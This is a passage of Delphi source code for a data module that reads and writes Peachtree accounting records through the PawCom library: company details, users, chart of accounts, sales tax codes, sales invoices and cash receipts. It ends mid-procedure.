TDMPeachtree = class(TDataModule)
cdsUser: TClientDataSet;
cdsUserUserName: TStringField;
cdsUserPassword: TStringField;
cdsChatAccount: TClientDataSet;
cdsChatAccountDescription: TStringField;
cdsChatAccountAccountID: TStringField;
cdsChatAccountAccountTypeDescription: TStringField;
cdsSaleTax: TClientDataSet;
cdsSaleTaxSalesTaxCode: TStringField;
cdsSaleTaxDescription: TStringField;
dsUser: TDataSource;
dsChartAccount: TDataSource;
dsSaleTax: TDataSource;
procedure DataModuleCreate(Sender: TObject);
procedure DataModuleDestroy(Sender: TObject);
private
FStatus : Integer;
FCompanyPath : String;
FCompanyInfo : TCompanyInfo;
FBTrieve: TBtrieve;
FPeachw : TPeachw;
FSelectCompany : TSelectCompany;
FCompanyInformation: TCompanyInformation;
procedure LoadCompanyInfo;
procedure LoadUsers;
procedure LoadChartOfAccount;
procedure LoadSaleTax;
procedure ValidateCustomer(CustInfo: TCustomerInfo);
function getCurrentPeriod : Integer;
function getCurrentForDate(dDate : TDateTime) : Integer;
function getStartDateForPeriod(iPeriod : Integer) : TDateTime;
procedure AddFirstLineItem(SalesJournal : TSalesJournal; CustomerInfo : TCustomerInfo);
procedure AddPayment(AInvoice : TSale; CustomerInfo : TCustomerInfo);
public
function Init(ACompanyFolder : String): Boolean;
function OpenConnection : Boolean;
function CloseConnection : Boolean;
function SaveSale(AInvoice : TSale; FCustomerInfo : TCustomerInfo) : Boolean;
property CompanyInfo : TCompanyInfo read FCompanyInfo;
end;
var
DMPeachtree: TDMPeachtree;
implementation
uses DateUtils, Variants;
{$R *.dfm}
function TDMPeachtree.CloseConnection: Boolean;
begin
{ Disconnect is already assigned by Delphi so use Disconnect1
to access PawCom's Discconect method }
FBTrieve.Disconnect1; // Disconnect Btrieve1
Result := True;
end;
function TDMPeachtree.OpenConnection: Boolean;
begin
if FBTrieve.ConnectCount > 0 then
begin
Result := True;
end
else
begin
{ PawCom documentation use Connect
Connect method already exists with Delphi's
base class for objects, so Delphi changes the name
from Connect to Connect1 }
FStatus := FBTrieve.Connect1(FCompanyPath);
if FStatus = RESULT_OPERATION_SUCCEED then
begin
LoadCompanyInfo;
{ Always call Reset after Connect1, Without Reset some file operations
will not function correctly }
FBTrieve.Reset;
Result := (FStatus = RESULT_OPERATION_SUCCEED);
if FStatus <> RESULT_OPERATION_SUCCEED then
begin
MessageDlg('Open Company failed.'+#10+#13+'Status = '+IntToStr(FStatus),mtwarning,[mbok],0);
end;
end;
end;
end;
procedure TDMPeachtree.DataModuleCreate(Sender: TObject);
begin
FBTrieve := TBtrieve.Create(Self);
FSelectCompany := TSelectCompany.Create(Self);
FCompanyInformation := TCompanyInformation.Create(Self);
FCompanyInfo := TCompanyInfo.Create;
FPeachw := TPeachw.Create(Self);
end;
procedure TDMPeachtree.DataModuleDestroy(Sender: TObject);
begin
CloseConnection;
FreeAndNil(FBTrieve);
FreeAndNil(FPeachw);
FreeAndNil(FSelectCompany);
FreeAndNil(FCompanyInformation);
FreeAndNil(FCompanyInfo);
end;
function TDMPeachtree.Init(ACompanyFolder : String): Boolean;
begin
{ Opens PawCom's Select Company Dialog }
{ Assigns DOS Name path (ex: C:\PEACHW\BCS ) }
//C:\Program Files\Sage Software\Peachtree\Company
FSelectCompany.CompanyPath := ACompanyFolder;
FSelectCompany.ShowOpen;
FCompanyPath := FSelectCompany.CompanyPath;
{ Checks CompanyPath make sure user selected a Company and
pressed the Ok Button }
Result := (FCompanyPath <> '');
if Result then
try
if OpenConnection then
begin
LoadUsers;
LoadChartOfAccount;
LoadSaleTax;
end;
finally
CloseConnection;
end;
end;
procedure TDMPeachtree.LoadCompanyInfo;
begin
{ Open the Company Information File }
FCompanyInformation.OpenFile;
{ Position to first (only) record in file }
FStatus := FCompanyInformation.StepFirst;
{ Check to make sure file was opened }
if FStatus <> RESULT_OPERATION_SUCCEED then
begin
Messagedlg('Unable to read Company Information.'+#10+#13+'Status = '+Inttostr(FStatus),mtwarning,[mbok],0);
Exit;
end; // Status <> 0 CompanyInformation1
//if FCompanyInformation.RealTime then
// FCompanyInformation.RealTime := False;
with FCompanyInformation do
begin
CompanyInfo.Version := Version;
CompanyInfo.CompanyName := CompanyName;
CompanyInfo.AddrLine := AddrLine1 + ' ' + AddrLine2;
CompanyInfo.AddrCity := AddrCity;
CompanyInfo.AddrState := AddrState;
CompanyInfo.AddrPostalCode := AddrPostalCode;
CompanyInfo.AddrCountry := AddrCountry;
CompanyInfo.Telephone := Telephone;
CompanyInfo.Fax := Fax;
Case BusinessTypeCode of
0 : CompanyInfo.BusinessType := 'Corporation';
1 : CompanyInfo.BusinessType := 'S Corporation';
2 : CompanyInfo.BusinessType := 'PartnerShip';
3 : CompanyInfo.BusinessType := 'Sole Proprietorship';
4 : CompanyInfo.BusinessType := 'Limited Liability Company';
Else CompanyInfo.BusinessType := 'Not Assigned';
end; // Case BusinessTypeCode
end;
end;
procedure TDMPeachtree.LoadUsers;
var
i, Counted : Integer;
FUser : TUser;
begin
FUser := TUser.Create(Self);
try
if not cdsUser.Active then
cdsUser.CreateDataSet;
FStatus := FUser.OpenFile;
If FStatus = RESULT_OPERATION_SUCCEED then
begin
Counted := FUser.RecordCount;
FUser.StepFirst;
For i := 0 to (Counted-1) do
begin
with cdsUser do
begin
Append;
FieldByName('UserName').AsString := FUser.UserName;
FieldByName('Password').AsString := FUser.Password;
Post;
end;
FUser.StepNext;
end;
end
else
MessageDlg('Open User failed.'+#10+#13+'Status = '+IntToStr(FStatus),mtwarning,[mbok],0);
finally
FUser.CloseFile;
FreeAndNil(FUser);
end;
end;
procedure TDMPeachtree.LoadChartOfAccount;
var
i, Counted : Integer;
FChartAcc : TmyChart;
begin
try
FChartAcc := TmyChart.Create(Self);
FStatus := FChartAcc.OpenFile;
if FStatus = RESULT_OPERATION_SUCCEED then
begin
if not cdsChatAccount.Active then
cdsChatAccount.CreateDataSet;
Counted := FChartAcc.RecordCount;
FChartAcc.StepFirst;
For i := 0 to (Counted-1) do
begin
with cdsChatAccount do
begin
Append;
FieldByName('Description').AsString := FChartAcc.AccountDescription2;
FieldByName('AccountID').AsString := FChartAcc.AccountID;
FieldByName('AccountTypeDescription').AsString := FChartAcc.AccountTypeDescription;
Post;
end;
FChartAcc.StepNext;
end;
{
0 Cash
1 Accounts Receivable
2 Inventory
3 <not used>
4 Other Current Assets
5 Fixed Assets
6 Accumulated Depreciation
7 <not used>
8 Other Assets
9 <not used>
10 Accounts Payable
11 <not used>
12 Other Current Liabilities
13 <not used>
14 Long Term Liabilities
15 <not used>
16 Equity-doesn't close
17 <not used>
18 Equity-Retained Earnings
19 Equity-gets closed
20 <not used>
21 Income
22 <not used>
23 Cost of Sales
24 Expenses
}
end
else
MessageDlg('Open User failed.'+#10+#13+'Status = '+IntToStr(FStatus),mtwarning,[mbok],0);
finally
FChartAcc.CloseFile;
FreeAndNil(FChartAcc);
end;
end;
function TDMPeachtree.SaveSale(AInvoice : TSale; FCustomerInfo : TCustomerInfo): Boolean;
var
FSale : TSalesJournal;
i, iPeriod : Integer;
TrxNumber, NRec : Integer;
TrxDate : TDateTime;
begin
Result := False;
if OpenConnection then
try
FSale := TSalesJournal.Create(Self);
//Open journal so we can perform operations on it
FStatus := FSale.OpenFile;
if FStatus <> RESULT_OPERATION_SUCCEED then
begin
ShowMessage('Could not open journal');
Exit;
end;
//Put PAW in Batch mode. PAW should always be put in batch mode first when modifying Journal records.
//FCompanyInformation.StepFirst;
//Get the next available TrxNumber for the current period and next journal Nrecord
TrxDate := Trunc(Now);
iPeriod := getCurrentForDate(TrxDate);
if iPeriod = -1 then
begin
ShowMessage('Problem getting period, possibly due to previous error. Restart PawCom and try again.');
Exit;
end;
TrxNumber := FSale.MaxTrxNumberL[iPeriod] + 1;
NRec := FSale.MaxNRecord + 1;
AInvoice.NRecord := NRec;
if FStatus = RESULT_OPERATION_SUCCEED then
begin
//Header
//Verifica se o invoice existe
ValidateCustomer(FCustomerInfo);
if FSale.GetForInvoice(AInvoice.InvoiceNumber) <> 0 then
begin
FSale.ClearRecord;
FSale.Subindex1 := 0; //The subindex1 code for the record. Always 0 for Sales Journal records
FSale.TrxNumberL := TrxNumber; //The transaction number for the current record
FSale.JournalID := 3; //The journal ID value for the record. For the Sales Journal the value is always 3.
FSale.Period := iPeriod; //The period for the current record. This should be a number between 0 and 41.
FSale.Subindex2 := 0; //The subindex2 code for the record. Normally 0. A value of 2 indicates a co-partner in Cash Disbursements
FSale.JournalCode := 'R'; //The journal code for the record. For the Sales Journal the journal code is always the letter "R". Size = 1
FSale.NRecord := NRec; //A unique record number for the current journal record. (IDPreSale)
FSale.CustomerIndex := FCustomerInfo.Index; //The index of the customer record for which this record applies. Corresponds to the index of the Customer ID field on the Peachtree Sales/Invoicing form.
FSale.CustomerName := FCustomerInfo.BillToName; //Name of the customer for which this record applies. Corresponds to the Name field on the Peachtree Sales/Invoicing form. Size = 39.
FSale.ShipToName := FCustomerInfo.BillToName; //The name the Ship To address on the invoice. Size = 30 before V9, 39 starting at V9.
FSale.ShipToAddr1 := FCustomerInfo.BillToAddress1; //The first address line for the Ship To address on the invoice. Size = 30
FSale.ShipToAddr2 := ''; //The second address line for the Ship To address on the invoice. Size = 30
FSale.ShipToCity := FCustomerInfo.BillToCity; //The city for the Ship To address on the invoice. Size = 20.
FSale.ShipToState := FCustomerInfo.BillToState; //The state the Ship To address on the invoice. Size = 2.
FSale.ShipToZipcode := FCustomerInfo.BillToZipCode; //The zipcode for the Ship To address on the invoice. Size = 12
FSale.ShipToCountry := FCustomerInfo.BillToCountry;
FSale.TrxDate := TrxDate; //Transaction date for the current record
FSale.SalesTaxCode := AInvoice.SalesTaxCode; //The Sales Tax Code associated with this record. Corresponds to the Sales Tax Code field on the Peachtree Sales/Invoicing form. Size = 8
FSale.DateDue := Trunc(Now); //Date on which payment is due. Peachtree calculates this from the terms.
FSale.DiscountDate := ''; //Latest date in which an early payment discount can be applied
FSale.DiscountAmount := 0; //The discount amount to apply to the invoice if paid before the discount date.
FSale.Terms := ''; //The "displayed" payment term options in text format. Corresponds to the Terms field on the Peachtree Sales/Invoicing form. Size = 39
FSale.ShipVia := 'None'; //The shipping method for the invoice. Corresponds to the Ship Via field on the Peachtree Sales/Invoicing form. Size = 12
FSale.SalesRepID := ''; //The EmployeeID of the Sales Rep associated with this record. Corresponds to the Sales Rep ID field on the Peachtree Sales/Invoicing form. Size = 20.
FSale.ARAmount := AInvoice.Amount; //Total amount for the record. Corresponds to the Invoice Total field on the Peachtree Sales/Invoicing form.
FSale.Quote := False; //True if this record is a quote. For V7 Peachtree stores quotes in the Sales Journal record with this flag set to True. For V8 and later Peachtree has created a separate Quote Journal. PawCom merges the Quote Journal records with the Sales Journal records, but Quotes are now indicated by a JournalID of 12.
FSale.NotePrintsAfterItems := False; //Indicates where the note should print on an invoice. Corresponds to the checkboxes on Note subform of the Peachtree Sales/Invoicing form
FSale.BeginningBalanceFlag := False; //True if this is a beginning balance record
FSale.Posted := False; //True if the current record has been posted. For new records this should always be set False.
FSale.Prepayment := False; //Unused field in the same location as the Prepayment check box on other type journal records
FSale.Note := ''; //The note associated with the record. Corresponds to the Note field on Note subform of the Peachtree Sales/Invoicing form. Size = 2000
FSale.AmountReceived := AInvoice.Amount; //Amount received with the invoice. Corresponds to theAmount Paid at Sale field on the Peachtree Sales/Invoicing form
FSale.HasPartner := False; //True if invoice has an associated cash receipts record. For more information about partner entries see the section on the Journal Key in Chapter 4
FSale.DropShip := False; //True if this is a Drop Ship Sales Order. Corresponds to the Drop Ship check box on the Ship To subform of the Peachtree Sales/Invoicing form
FSale.PaymentDate := ''; //Date on which the invoice was paid
FSale.TrxVoidedBy := 0; //If the transaction is an invoice and if it has been voided using Void Invoices in Peachtree, then this is the Nrecord number of the voiding transaction. If this is the voiding invoice, then this field refers to the original invoice
FSale.ARAccount := ''; //Accounts Receivable account to use for the record, associated with the A/R Account field on the Peachtree Sales/Invoicing form. For V8 or later the ARAccount information is contained on a separate detail line with LineNo = 0. Size = 15
FSale.InvoiceNumber := AInvoice.InvoiceNumber; //Invoice number for this record. Corresponds to the Invoice # field on the Peachtree Sales/Invoicing form. Peachtree fills this field when the invoice is printed. Size = 20.
FSale.RecurrenceIndex := 0; //For recurring records, a unique number for the set of recurring entries
FSale.RecurrenceRate := 0; //An integer code for the rate at which recurring entries occur. The Lookup Recurrence Rate table contains a textual description of the recurrence rate
FSale.DateCleared := ''; //Account Reconciliation date on which the record was cleared
{Testar com 0 para ver se o invoice sera criado}
FSale.NDistributions := 0; //The number of detail lines for the current record
FSale.NumOrderLines := 0; //The total number of displayed lines on the invoice
{}
FSale.CustomerPO := ''; //Customer's Purchase Order number. Corresponds to the Customer PO field on the Peachtree Sales/Invoicing form. Contains "Prepayment" if subindex2 =1 or "Payment" if subindex2 = 2. Size = 20.
FSale.QuoteGoodThruDate := ''; //The last date in which a sales quote is valid. Corresponds to the Good Thru field that shows on the Peachtree Quotes form
FSale.QuoteNumber := ''; //If a quote has been converted to a sales invoice and the quote already has a number, this is that number. Corresponds to the quote number that shows on the Peachtree Quotes form. Size = 20
FSale.ShipDate := ''; //The ship date for this record. Corresponds to the Ship Date field on the Peachtree Sales/Invoicing form.
FSale.SONo := ''; //The Sales Order number when the record applies to a Sales Order. Corresponds to the SO # field on the Peachtree Sales/Invoicing form when the Apply to Sales Order tab is selected. Size = 20.
FSale.DropShipCustomerIndex := FCustomerInfo.index; //The index of the customer for Drop Ship Sales Orders. Corresponds to the index associated with the Customer ID on the Ship To subform of the Peachtree Sales/Invoicing form.
FSale.DropShipInvNo := ''; //The customer's invoice number. Corresponds to the Invoice # on the Ship To subform of the Peachtree Sales/Invoicing form. Size = 20.
If FCompanyInfo.Version >= 8.11 then
FSale.ReceiptDate := FSale.TrxDate; //Data in this field is always the same as the TrxDate for this journal
if FCompanyInfo.Version >= 9 then
begin
FSale.MainAccount := AInvoice.GLMainAccount; //The GL account for this journal entry. Corresponds to GL Account on detail line 0 for V8 and later
FSale.InternalNote := ''; //An internal note associated with the record that does not print on forms. Size = 2000
end;
if FCompanyInfo.Version >= 10 then
begin
FSale.GUID := FPeachw.GUID; //Universally unique global identifier for record. Size = 38.
FSale.ReturnAuthorization := ''; //The return authorization if record is a credit memo. Size = 20
FSale.StatementNote := ''; //Note to print on the statement. Size = 2000
FSale.PrintBeforeInvoiceReference := False; //Flag indicating a print was requested before the invoice number was specified
FSale.JrnlTypeEx := 0; //A field that indicates whether the record is a regular entry (value = 0) or a credit memo (value = 2). For V>=13, 4=a "roll up" transaction created during purge, 5=created during company consolidation
FSale.EditCount := 0; //Count of how many times the record has been modified since its creation.
end;
{
//Item Detail
AddFirstLineItem(FSale, FCustomerInfo);
i := 0;
FSale.DetailLineNo[i] := i; //The detail line number. For V7 the value returned is always set equal to Index.
FSale.DetailTrxType[i] := 0; //Must be set before Amount. A code identifying what type of transaction this line corresponds to. Observed values are 0 GL, 1 COS, 2 Inventory, 5 Sales Tax, 6 Freight
FSale.DetailCostOfSalesTrx[i] := False; //If true this row should be included in inventory-ledger type calculations and reports
FSale.DetailQuantity[i] := 1; //The quantity associated with the specified detail line, associated with the Quantity fields in the lower part of the Peachtree Sales/Invoicing form
//FSale.DetailGLAccount[i] := '11000'; //The GL Account associated with the specified detail line. Size = 15
FSale.DetailFreightFlag[i] := False; //True if freight charges are to be applied to this detail line
FSale.DetailItemIndex[i] := 138; //The index of the item associated with the specified detail line, corresponding to the Item fields in the lower part of the Peachtree Sales/Invoicing form. Note: For V7 the DetailSalesTaxAuthority and DetailItemIndex fields overlap each other in the Peachtree journal data. Therefore if you specify one you should NOT specify the other or you will overwrite the first one.
//FSale.DetailSalesTaxAuthority[i] := ''; //The Sales Tax Authority associated with the specified detail line. Size = 8
FSale.DetailAmount[i] := dAmount; //The amount associated with a particular detail line of the Sales Journal record, corresponding to the Amount fields in the lower part of the Peachtree Sales/Invoicing form
FSale.DetailTaxType[i] := 0; //The tax type code associated with the specified detail line.
FSale.DetailJobIndex[i] := 0; //The index for the job associated with the specified detail line, corresponding to the Job specified in the Job fields in the lower part of the Peachtree Sales/Invoicing form
FSale.DetailPhaseIndex[i] := 0; //The index for the phase associated with the specified detail line, corresponding to the phase of a job specified in the Job fields in the lower part of the Peachtree Sales/Invoicing form.
FSale.DetailCostIndex[i] := 0; //The index in the Cost Codes table for the job cost associated with the specified detail line
FSale.DetailUnused1[i] := 0; //An unused byte in the detail line for V7. Always returns 0 for later versions
//FSale.DetailCostOfSalesAccount[i] := ''; //The COS Account associated with the specified detail line. For V8 and later the Cost of Sales information is shown on a separate detail line with TrxType = 1. Size = 15.
//FSale.DetailInventoryAccount[i] := ''; //For V7 only, the Inventory Account associated with the specified detail line. For V8 and later the Inventory information is shown on a separate detail line with TrxType = 2. Size = 15.
FSale.DetailCostOfSalesAmount[i] := 0; //For V7 data, the COS Amount associated with the specified detail line. For V8 and greater this information is on a separate detail line with TrxType = 1.
FSale.DetailUnitPrice[i] := 300; //The unit price associated with the specified detail line, corresponding to the Unit Price fields in the lower part of the Peachtree Sales/Invoicing form
FSale.DetailApplyToSO[i] := False; //True if the detail line is to be applied to a Sales Order. Peachtree sets this field True when the Apply to Sales Order tab is selected on the Sales/Invoicing form.
FSale.DetailSOLine[i] := 0; //When an invoice has been applied to a sales order, the corresonding displayed line of the sales order
FSale.DetailDisplayedLine[i] := 1; //The line number of the displayed line of the invoice.
//FSale.DetailDescription[i] := 'Assembled Redwood 12-Room Bird House on 14 ft. pole. Attracts Purple Martins, Bluebirds and Wrens'; //A description for the specified detail line. Corresponds to the Description fields in the lower part of the Peachtree Sales/Invoicing form. Size = 160.
FSale.DetailCustomerIndex[i] := FCustomerInfo.index; // The index of the customer for the order. The value in this field should be identical to the CustomerIndex field.
If FCompanyInfo.Version > 7 then
FSale.DetailInvoiceNRecord[i] := 0; //The Nrecord number of the invoice that is associated with the specified detail line
//FSale.DetailInvoicePaid[i] := ''; //The Invoice number of the invoice paid by the specified detail line. Size = 20
FSale.DetailFlag1[i] := True; //True if this row is to be included in the general ledger and thus in all financial calculations based on general ledger amounts. The value is always True for the Sales journal unless this is a beginning balance or subindex2 = 1 or 2.
//If FCompanyInfo.Version >= 11 then
// FSale.DetailGUID[i] := FPeachw.GUID; //Universally unique global identifier for record. Size = 38
If FCompanyInfo.Version >= 11.5 then
begin
FSale.DetailStockingQuantity[i] := 1; //Manufacturing and Distribution versions only The stocking quantity associated with the specified detail line.
FSale.DetailStockingUnitPrice[i] := 300; //Manufacturing and Distribution versions only The stocking unit price associated with the specified detail line.
//FSale.DetailUMGUID[i] := FPeachw.GUID; //Universally unique global identifier for the corresponding Unit of Measure record. Size = 38.
end;
If FCompanyInfo.Version >= 12 then
FSale.DetailHasSerialNumbers[i] := False; //Flag used on some detail lines to indicate the associated item has serial numbers.
If FCompanyInfo.Version >= 13 then
FSale.DetailRetainagePercent[i] := 0; //The percentage amount to withhold for retainage. Used by Construction version only.
}
//Copy the new Sales Journal record to the PAW Journal table
FStatus := FSale.Insert;
if FStatus <> RESULT_OPERATION_SUCCEED then
begin
ShowMessage('Creation of new record failed.'+#10+#13+' Status = ' + IntToStr(FStatus));
Exit;
end;
FStatus := FSale.GetForInvoice(AInvoice.InvoiceNumber);
if FStatus <> RESULT_OPERATION_SUCCEED then
begin
ShowMessage('Invoice not found. Status = ' + IntToStr(FStatus));
Exit;
end;
//Payment
AddPayment(AInvoice, FCustomerInfo);
//Update count of Sales Journal batch records
//FStatus := FSale.IncrementBatchCount;
//if FStatus <> RESULT_OPERATION_SUCCEED then
//begin
// ShowMessage('IncrementBatchCount failed.'+#10+#13+' Status = ' + IntToStr(FStatus));
// Exit;
//end;
Result := True;
end;
end
else
MessageDlg('Error openning sale.'+#10+#13+'Status = '+IntToStr(FStatus),mtwarning,[mbok],0);
finally
CloseConnection;
FreeAndNil(FSale);
end;
end;
procedure TDMPeachtree.LoadSaleTax;
var
i, Counted : Integer;
FSaleTax : TSalesTaxCode;
begin
FSaleTax := TSalesTaxCode.Create(Self);
try
if not cdsSaleTax.Active then
cdsSaleTax.CreateDataSet;
FStatus := FSaleTax.OpenFile;
If FStatus = RESULT_OPERATION_SUCCEED then
begin
Counted := FSaleTax.RecordCount;
FSaleTax.StepFirst;
For i := 0 to (Counted-1) do
begin
with cdsSaleTax do
begin
Append;
FieldByName('SalesTaxCode').AsString := FSaleTax.SalesTaxCode;
FieldByName('Description').AsString := FSaleTax.Description;
Post;
end;
FSaleTax.StepNext;
end;
end
else
MessageDlg('Open Sale Tax failed.'+#10+#13+'Status = '+IntToStr(FStatus),mtwarning,[mbok],0);
finally
FSaleTax.CloseFile;
FreeAndNil(FSaleTax);
end;
end;
procedure TDMPeachtree.ValidateCustomer(CustInfo: TCustomerInfo);
var
FCustomer : TCustomer;
begin
if OpenConnection then
try
FCustomer := TCustomer.Create(Self);
FStatus := FCustomer.OpenFile;
FStatus := FCustomer.GetEqual(CustInfo.CustomerID);
if FStatus = RESULT_KEY_NOT_FOUND then
begin
FCustomer.CustomerID := CustInfo.CustomerID;
FCustomer.BillToName := CustInfo.BillToName;
FCustomer.BillPresentment := False;
FCustomer.CustomerSinceDate := Now;
FCustomer.BillToSalesTaxCode := '';
if FCompanyInfo.Version >= 10 then
FCustomer.GUID := FPeachw.GUID;
FStatus := FCustomer.Insert;
FStatus := FCustomer.GetEqual(CustInfo.CustomerID);
if FStatus <> RESULT_OPERATION_SUCCEED then
begin
ShowMessage('Customer not found. Status = ' + IntToStr(FStatus));
Exit;
end;
end;
CustInfo.index := FCustomer.Index;
CustInfo.BillToName := FCustomer.BillToName;
CustInfo.CustomerID := FCustomer.CustomerID;
CustInfo.BillToAddress1 := FCustomer.BillToAddress1;
CustInfo.BillToCity := FCustomer.BillToCity;
CustInfo.BillToCountry := FCustomer.BillToCountry;
CustInfo.BillToState := FCustomer.BillToState;
CustInfo.BillToZipCode := FCustomer.BillToZipcode;
CustInfo.Contact := FCustomer.Contact;
CustInfo.CustomerSinceDate := FCustomer.CustomerSinceDate;
CustInfo.CustomerType := FCustomer.CustomerType;
CustInfo.Email := FCustomer.Email;
CustInfo.Fax := FCustomer.Fax;
CustInfo.Web := FCustomer.Web;
CustInfo.Tel1 := FCustomer.Telephone1;
CustInfo.SalesRepID := FCustomer.SalesRepID;
finally
FreeAndNil(FCustomer);
end;
end;
function TDMPeachtree.getCurrentPeriod: Integer;
var
FGeneralData : TGeneralData;
begin
FGeneralData := TGeneralData.Create(Self);
try
if OpenConnection then
begin
FStatus := FGeneralData.OpenFile;
if FStatus = RESULT_OPERATION_SUCCEED then
begin
FStatus := FGeneralData.Read;
Result := FGeneralData.CurrentPeriod;
end
else
begin
ShowMessage('Could not open General.DAT');
Result := 0;
end;
end;
finally
FGeneralData.CloseFile;
FreeAndNil(FGeneralData);
end;
end;
function TDMPeachtree.getStartDateForPeriod(iPeriod : Integer) : TDateTime;
var
FGeneralData : TGeneralData;
myDate : TDateTime;
begin
FGeneralData := TGeneralData.Create(Self);
try
if OpenConnection then
begin
FStatus := FGeneralData.OpenFile;
FStatus := FGeneralData.Read;
if FStatus = RESULT_OPERATION_SUCCEED then
begin
if (iPeriod < 1) or (iPeriod > 41) then
begin
myDate := FGeneralData.PeriodEndDate[0];
iPeriod := 0;
end
else
myDate := FGeneralData.PeriodStartDate[iPeriod];
Result := myDate;
end;
end;
finally
FGeneralData.CloseFile;
FreeAndNil(FGeneralData);
end;
end;
function TDMPeachtree.getCurrentForDate(dDate: TDateTime): Integer;
var
FGeneralData : TGeneralData;
myPeriod, PeriodDate : Integer;
Found : Boolean;
begin
FGeneralData := TGeneralData.Create(Self);
try
if OpenConnection then
begin
Found := False;
FStatus := FGeneralData.OpenFile;
if FStatus = RESULT_OPERATION_SUCCEED then
begin
FStatus := FGeneralData.Read;
Result := FGeneralData.NumberOfPeriods;
for myPeriod := 0 to 49 do
if (myPeriod <= Result) or
((myPeriod >= 15) And (myPeriod <= (14 + Result))) or
((myPeriod >= 29) And (myPeriod <= (28 + Result))) then
if VarToStr(FGeneralData.PeriodEndDate[myPeriod]) <> '' then
begin
PeriodDate := FGeneralData.PeriodEndDate[myPeriod];
if (Trunc(PeriodDate-dDate) >= 0) then
begin
Found := True;
Break;
end;
end;
if Found then
Result := myPeriod
else
Result := -1;
end
else
begin
ShowMessage('Could not open General.DAT');
Result := 0;
end;
end;
finally
FGeneralData.CloseFile;
FreeAndNil(FGeneralData);
end;
end;
procedure TDMPeachtree.AddFirstLineItem(SalesJournal: TSalesJournal;
CustomerInfo : TCustomerInfo);
var
i : Integer;
begin
i := 0;
SalesJournal.DetailLineNo[i] := 0;
SalesJournal.DetailTrxType[i] := 0; //Always 0 for this detail line
SalesJournal.DetailCostOfSalesTrx[i] := False;
SalesJournal.DetailQuantity[i] := 0; //Always 0 for this detail line
SalesJournal.DetailItemIndex[i] := 0; //Always 0 for this detail line
//SalesJournal.DetailDescription[i] := CustomerInfo.BillToName;
//SalesJournal.DetailGLAccount[i] := '11000';
SalesJournal.DetailUnitPrice[i] := 0; //Always 0 for this detail line
SalesJournal.DetailTaxType[i] := 0;
SalesJournal.DetailAmount[i] := SalesJournal.ARAmount;
SalesJournal.DetailJobIndex[i] := 0;
SalesJournal.DetailPhaseIndex[i] := 0;
SalesJournal.DetailCostIndex[i] := 0;
//SalesJournal.DetailSalesTaxAuthority[i] := '';
SalesJournal.DetailApplyToSO[i] := False;
SalesJournal.DetailInvoiceNRecord[i] := 0;
SalesJournal.DetailCustomerIndex[i] := CustomerInfo.index;
SalesJournal.DetailFlag1[i] := True;
end;
procedure TDMPeachtree.AddPayment(AInvoice : TSale;
CustomerInfo: TCustomerInfo);
var
FCashReceiptJournal : TCashReceiptJournal;
FDefaultCustomerData : TDefaultCustomerData;
TrxNumber, NRec, iPeriod : Integer;
TrxDate : TDateTime;
i : Integer;
begin
FCashReceiptJournal := TCashReceiptJournal.Create(Self);
try
if OpenConnection then
begin
FStatus := FCashReceiptJournal.OpenFile;
if FStatus = RESULT_OPERATION_SUCCEED then
begin
iPeriod := getCurrentPeriod;
if iPeriod = 0 then
begin
ShowMessage('Problem getting period, possibly due to previous error. Restart PawCom and try again.');
Exit;
end;
TrxDate := getStartDateForPeriod(iPeriod) + 15;
TrxNumber := FCashReceiptJournal.MaxTrxNumberL[iPeriod] + 1;
NRec := FCashReceiptJournal.MaxNRecord + 1;
FCashReceiptJournal.ClearRecord;
FCashReceiptJournal.NRecord := NRec; //A unique record number for the current journal record.
FCashReceiptJournal.Period := iPeriod; //The period for the current record. This should be a number between 0 and 41.
FCashReceiptJournal.TrxNumberL := TrxNumber; //The transaction number for the current record
FCashReceiptJournal.JournalID := 1; //The journal ID value for the record. For the Cash Receipt Journal the value is always 1
FCashReceiptJournal.Subindex1 := 0; //The subindex1 code for the record. Normally 0, but if the receipt is for a Sales Journal record, the value is 1, indicating a partner record that corresponds to a Sales Journal record with an amount paid on the invoice
FCashReceiptJournal.Subindex2 := 0; //The subindex2 code for the record. For the Cash Receipt Journal the value is always 0.
FCashReceiptJournal.JournalCode := 'R'; //Journal code for the record. For the Cash Receipt Journal it should be the letter "R". Size = 1
FCashReceiptJournal.TrxDate := TrxDate; //Transaction date for the current record. This corresponds to the Date field on the Peachtree Receipts form
FCashReceiptJournal.CustomerIndex := CustomerInfo.index; //The index of the customer record for which this Cash Receipt record applies.
FCashReceiptJournal.CustomerName := CustomerInfo.BillToName; //Name of customer to which this Cash Receipts record applies. (May differ from Check Name.) Size = 39.
FCashReceiptJournal.CheckName := CustomerInfo.BillToName; //The name for the check. Size = 30 before V9, 39 starting at V9.
FCashReceiptJournal.CheckAddr1 := CustomerInfo.BillToAddress1; //The first address line for the check. Size = 30.
FCashReceiptJournal.CheckAddr2 := '';
FCashReceiptJournal.CheckCity := CustomerInfo.BillToCity; //The city for the check. Size = 20.
FCashReceiptJournal.CheckState := CustomerInfo.BillToState; //The state the check. Size = 2.
FCashReceiptJournal.CheckZipcode := CustomerInfo.BillToZipCode; //The zipcode for the check. Size = 12.
FCashReceiptJournal.CheckCountry := CustomerInfo.BillToCountry; //The country for the check. Size = 15.
FCashReceiptJournal.SalesRepID := CustomerInfo.SalesRepID; //EmployeeID for the Sales Rep for the receipt. Size = 20.
{mudar}
FCashReceiptJournal.CashAmount := AInvoice.Amount; //Total amount for the record. Corresponds to the Receipt Amount field on the Peachtree Receipts form. (ReceiptAmount - DiscountAmount)
FCashReceiptJournal.Reference := AInvoice.InvoiceNumber; //Reference description for the receipt. Corresponds to Reference field on Peachtree Receipts form. Size = 20.
FCashReceiptJournal.Posted := True; //True if the current record has been posted. For new records this should always be set False.
FCashReceiptJournal.BeginningBalanceFlag := False; //True if this is a beginning balance record
FCashReceiptJournal.SalesTaxCode := AInvoice.SalesTaxCode; //Sales Tax code for the receipt. Corresponds to the Sales Tax Code field at the bottom of the Peachtree Receipts form. Size = 8.
FCashReceiptJournal.InvoicesPaid := -1 * AInvoice.Amount; //(Amount to be paid against the invoice) The total amount that has been paid on invoices when the receipt applies to invoices. -ReceiptAmount
FCashReceiptJournal.DepositTicketID := FormatDateTime('mm/dd/yyyy', TrxDate);//Deposit ticket ID associated with receipt. (Deposit Ticket ID on Peachtree Receipts form.) Size = 8. (Text to describe the deposit ticket)
FDefaultCustomerData := TDefaultCustomerData.Create(Self);
try
FDefaultCustomerData.OpenFile;
FStatus := FDefaultCustomerData.Read;
FCashReceiptJournal.PaymentMethod := FDefaultCustomerData.PaymentMethod[1]; //(Integer code for the payment method) Description of payment method for receipt. (Payment Method field on Peachtree Receipts form.) Size = 20.
